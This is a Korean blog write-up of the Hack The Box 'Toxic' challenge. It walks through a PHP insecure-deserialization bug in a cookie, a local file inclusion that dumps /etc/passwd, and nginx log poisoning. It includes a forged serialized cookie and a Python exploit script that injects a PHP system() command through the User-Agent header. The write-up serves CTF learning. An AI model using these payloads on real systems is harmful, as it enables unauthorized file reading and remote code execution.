Home [Hackthebox] Toxic
Post
Cancel

[Hackthebox] Toxic

키워드: PHP, serialization, LFI, Log Poisoning

describtion

코드 분석


serialize 함수와 unserialize 함수를 사용한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);


PageModel 클래스는 __destruct 함수를 가지고 있는데 객체가 소멸될 때 실행되는 magic method이다.

1
2
3
4
5
6
7
8
9
10
<?php
class PageModel
{
    public $file;

    public function __destruct() 
    {
        include($this->file);
    }
}


취약점


PHP Serialization Vulnerability & LFI


__destruct 함수에서 include 함수를 사용하고 있기 때문에 오브젝트(인스턴스화된 객체)의 값을 변조시켜서 다른 파일을 읽을 수 있다. 페이지 내 쿠키 값을 디코딩하면 다음과 같다.

1
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}


파일 경로를 /etc/passwd로 조작해주고 쿠키값을 변조 시키면 다음과 같이 파일을 읽을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www:x:1000:1000:1000:/home/www:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin

Log Poisoning


하지만 flag 파일이 읽혀지지 않았다. 뒤에 붙는 어떤 문자열이 있을 것이라고 추측됐다. entrypoint.sh에서 이 부분을 찾을 수 있었다.

1
2
3
4
5
6
7
8
9
#!/bin/ash

# Secure entrypoint
chmod 600 /entrypoint.sh

# Generate random flag filename
mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`

exec "$@"


결국에는 파일이름을 확인해야하고 명령어 실행이 필수적이기 때문에 Log Poisoning을 위한 로그파일이 반드시 존재한다고 생각했다.


Exploit


먼저 도커파일에도 있는 nginx.conf 파일을 읽어보면 로그파일에 대한 경로가 나온다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;

events {
    worker_connections 1024;
}

http {
    server_tokens off;
    log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
    access_log /var/log/nginx/access.log docker;

    charset utf-8;
    keepalive_timeout 20s;
    sendfile on;
    tcp_nopush on;
    client_max_body_size 1M;

    include  /etc/nginx/mime.types;

    server {
        listen 80;
        server_name _;

        index index.php;
        root /www;

        location / {
            try_files $uri $uri/ /index.php?$query_string;
            location ~ \.php$ {
                try_files $uri =404;
                fastcgi_pass unix:/run/php-fpm.sock;
                fastcgi_index index.php;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include fastcgi_params;
            }
        }
    }
}


/var/log/nginx/access.log 파일의 내용을 확인해보면 사용자가 조작할 수 있는 부분인 User-Agent 값이 나온다.

1
2
3
4
5
142.93.37.215 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 
142.93.37.215 - 200 "GET /favicon.ico HTTP/1.1" "http://142.93.37.215:32639/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 
142.93.37.215 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 
142.93.37.215 - 200 "GET /favicon.ico HTTP/1.1" "http://142.93.37.215:32639/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 
142.93.37.215 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"


User-Agent 값을 <?php system('ls /');?>로 바꾸고 로그 파일을 읽는 과정에서 include 함수로 인해 php 코드가 실행되고 flag 파일의 정확한 이름을 볼 수 있을 것이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
from requests import get
from base64 import b64encode

info = lambda x: print(f'[+] {x}')
URL = 'http://142.93.37.215:32639'

# file_name = '/flag_fB4Dv'
file_name = '/var/log/nginx/access.log'
cookie = b64encode(f'O:9:"PageModel":1:{{s:4:"file";s:{len(file_name)}:"{file_name}";}}'.encode('utf-8')).decode('utf-8')

res = get(f'{URL}/', headers={"User-Agent": "<?php system('ls /'); ?>"},
          cookies={'PHPSESSID': f'{cookie}'})
print(res.text)


ls flag


분명 이렇게 하는게 맞는데 로그파일에 안찍혀서 롸업을 찾아봤는데 풀이가 나랑 똑같아서 엥? 하다가 다시 파일 확인해보니까 찍혀있었다 ㅇㅅㅇ… 이것 때문에 30분 날렸다.


Reference


[Hackthebox] Exatlon

[Journal] 2022

Comments powered by Disqus.